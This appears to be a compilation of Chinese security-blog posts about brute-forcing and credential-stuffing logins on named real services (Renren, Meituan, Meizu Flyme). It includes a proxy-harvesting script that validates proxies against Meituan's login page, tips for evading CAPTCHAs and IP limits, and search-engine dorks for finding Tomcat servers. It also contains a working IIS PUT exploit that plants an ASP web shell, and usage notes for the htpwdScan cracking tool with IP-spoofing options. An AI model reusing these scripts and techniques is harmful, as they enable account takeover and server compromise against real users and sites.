批量获取及验证HTTP代理Python脚本

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
    html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
    soup = BeautifulSoup(html_doc)
    trs = soup.find('table', id='ip_list').find_all('tr')
    for tr in trs[1:]:
        tds = tr.find_all('td')
        ip = tds[1].text.strip()
        port = tds[2].text.strip()
        protocol = tds[5].text.strip()
        if protocol == 'HTTP' or protocol == 'HTTPS':
            of.write('%s=%s:%s\n' % (protocol, ip, port) )
            print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
    while True:
        lock.acquire()
        line = inFile.readline().strip()
        lock.release()
        if len(line) == 0: break
        protocol, proxy = line.split('=')
        headers = {'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': ''}
        try:
            conn = httplib.HTTPConnection(proxy, timeout=3.0)
            conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
            res = conn.getresponse()
            ret_headers = str( res.getheaders() ) 
            html_doc = res.read().decode('utf-8')
            print html_doc.encode('gbk')
            if ret_headers.find(u'/m/account/login/') > 0:
                lock.acquire()
                print 'add proxy', proxy
                outFile.write(proxy + '\n')
                lock.release()
            else:
                print '.',
        except Exception, e:
            print e

all_thread = []
for i in range(50):
    t = threading.Thread(target=test)
    all_thread.append(t)
    t.start()
    
for t in all_thread:
    t.join()

inFile.close()
outFile.close()

htpwdScan增加HTTP Basic Auth暴力破解

昨晚下班后把HTTP Basic认证的暴力破解功能加入到htpwsScan脚本了。改动的地方比较多,还未严格测试。

用法:

htpwdScan.py  -basic users.dic pass.dic -u=http://www.test.com/need-auth-url/

-basic 后指定用户名和密码字典

-u指定URL,通常无需从文件导入HTTP请求

破解成功的序列输出类似:

403[Basic Auth] tomcat:tomcat http://www.gedn.com/manager/html

介绍一个批量利用Tomcat的小技巧:

在搜索引擎中搜索如下关键词,可以找到大量老版本Tomcat:

intitle:”Apache Tomcat”  intext:”Thanks for using Tomcat!”

对于较新版本,则使用如下关键词:

intitle:”Apache Tomcat/7.0.42″

为了匹配更多的7.0版本,考虑使用:

intitle:Apache Tomcat/7.0.

“Apache Software Foundation.” intitle:Apache Tomcat/7.0

关于关键词的组合,不再详细介绍。 试用新的功能:https://github.com/lijiejie/htpwdScan

python IIS Put File脚本

平日上班忙,没怎么整理PC里的代码。 把以前写的IIS put file漏洞的利用脚本发一下,这漏洞实在很古老了。。。

#-*- encoding:utf-8 -*-

'''
IIS put file From https://www.lijiejie.com

Usage:
    iisPUT.py www.example.com:8080
'''

import httplib
import sys

try:
    conn = httplib.HTTPConnection(sys.argv[1])
    conn.request(method='OPTIONS', url='/')
    headers = dict(conn.getresponse().getheaders())
    if headers.get('server', '').find('Microsoft-IIS') < 0:
        print 'This is not an IIS web server'
        
    if 'public' in headers and \
       headers['public'].find('PUT') > 0 and \
       headers['public'].find('MOVE') > 0:
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        # PUT hack.txt
        conn.request( method='PUT', url='/hack.txt', body='<%execute(request("cmd"))%>' )
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        # mv hack.txt to hack.asp
        conn.request(method='MOVE', url='/hack.txt', headers={'Destination': '/hack.asp'})
        print 'ASP webshell:', 'http://' + sys.argv[1] + '/hack.asp'
    else:
        print 'Server not vulnerable'
        
except Exception,e:
    print 'Error:', e

在有域名列表的前提下,用来做批量扫描倒还是可以的。
不过目前仍存在PUT File漏洞的主机,实在很少了。
Gist: https://gist.github.com/lijiejie/3eb6c4a1db9b3fe3c59a

htpwdScan使用介绍 [1] – 猜解魅族flyme账号,暴力破解

这里以魅族Flyme的账号破解为例,介绍htpwdScan的使用。页面地址 https://member.meizu.com/login.jsp

输入一个不存在的用户名,返回Error 11,而密码错误返回Error 14。(在浏览器查看源代码)

因为脚本会自动替换\r \n \t等空白字符串,所以先debug查看返回的响应文本,来选择一个关键字:

执行:

htpwdScan.py -f=meizu.txt -d uname=pinyin2.txt pwd=password.txt -debug

在响应文本中复制value=”11″作为特征串,请注意,在cmd中输入这个串,双引号需要转义。执行测试,看能否根据此关键字进行破解:

htpwdScan.py -f=meizu.txt -d uname=pinyin2.txt pwd=password.txt -err=value=\”11\” -debug

好了,确定没有出现破解成功的提示,说明关键词是能用的。 继续阅读htpwdScan使用介绍 [1] – 猜解魅族flyme账号,暴力破解

htpwdScan HTTP弱口令扫描器(python)

脚本还在不断完善,目前已经可以通过批量导入代理来突破IP限制,密码可hash: MD5、SHA1。

可以通过设定重试条件来解决不稳定主机和ngix指向不同后端的问题(即便4次请求只有一次能正确访问到后台,程序也能破解出账号)。

正在添加对HTTP Basic认证的支持,会考虑加入简单验证码识别。也会考虑做一个GUI工具。啊,有点跑偏了

弱口令破解是我最常用的攻击方式之一。 这种攻击方法对用户量庞大、没有做IP请求限制、没有做密码安全规则、错误提示过于详细的系统,几乎是通杀的。

上周,利用一点时间,我把以前写的暴力破解脚本片段,整理成了一个通用的HTTP暴力破解工具。感谢组里的同事,小松、亮哥对我工作的支持呐。

鉴于是初步实现,肯定有很多不足。 我是想到什么就加进去,所以思路可能有点乱。

optional arguments:
  -h, --help            show this help message and exit
  -f REQUESTFILE        Load HTTP request from file
  -https                Set -https only when load request from file and
                        HTTPS was enabled
  -u REQUESTURL         Explicitly Set request URL, e.g.
                        -u="http://www.test.com/login.php"
  -m METHOD             Set -m=GET only when -u was set and request method
                        is GET,default is POST
  -d Param=DictFilePath [Param=DictFilePath ...]
                        set dict file for each parameter,
                        support hash functions like md5, md5_16, sha1. e.g.
                        -d user=users.dic pass=md5(pass.dic)
  -no302                302 redirect insensitive, default is sensitive
  -err ERR [ERR ...]    String indicates fail in response text, e.g.
                        -err "user not exist" "password wrong"
  -suc SUC [SUC ...]    String indicates success in response text, e.g.
                        -suc "welcome," "admin"
  -herr HERR            String indicates fail in response headers
  -hsuc HSUC            String indicates success in response headers
  -proxy Server:Port    Set HTTP proxies, e.g.
                        -proxy=127.0.0.1:8000,8.8.8.8:8000
  -proxylist ProxyListFile
                        Load HTTP proxies from file, one proxy per line, e.g.
                        -proxylist=proxys.txt
  -fip                  Spoof source IP
  -t THREADS            50 threads by default
  -o OUTPUT             Output file, defaut is Cracked_Pass.txt
  -rtxt RetryText       Retry when it appears in response text,
                        e.g. -rtxt="IP blocked"
  -rntxt RetryNoText    Retry when it does not appear in response text,
                        e.g. -rntxt=""
  -rheader RetryHeader  Retry when it appears in response headers,
                        e.g. -rheader="Set-Cookie:"
  -rnheader RetryNoHeader
                        Retry when it didn't appear in response headers,
                        e.g. -rheader="Content-Length:"
  -sleep SECONDS        Sleep some time after each request,
                        avoid IP blocked by web server
  -debug                Send a request and check
                        response headers and response text
  -nov                  Do not print verbose info, only print the cracked ones
  -v                    show program's version number and exit

获取脚本: https://github.com/lijiejie/htpwdScan

基本用法稍后单独写一篇日志说明。  自己写的小工具,若有自己用着才顺手,自然是不好的。。。

图形验证码的常见安全问题

验证码的英文缩写是CAPTCHA,即:

Completely Automated Public Turing test to tell Computers and Humans Apart

译作”全自动人机区分的图灵测试”。

时下图形验证码的应用已经非常广泛了,无论是在web应用还是客户端软件中。主要是用来防止字典攻击(或称暴力猜解)、机器注册等。

可惜的是,大多数开发者不得要领,敷衍了事。验证码设计中常见的安全问题是:

  1. 验证码有逻辑缺陷,可被绕过,可被逆向
  2. 验证码太简单,容易被机器识别

下面分别说明。 继续阅读图形验证码的常见安全问题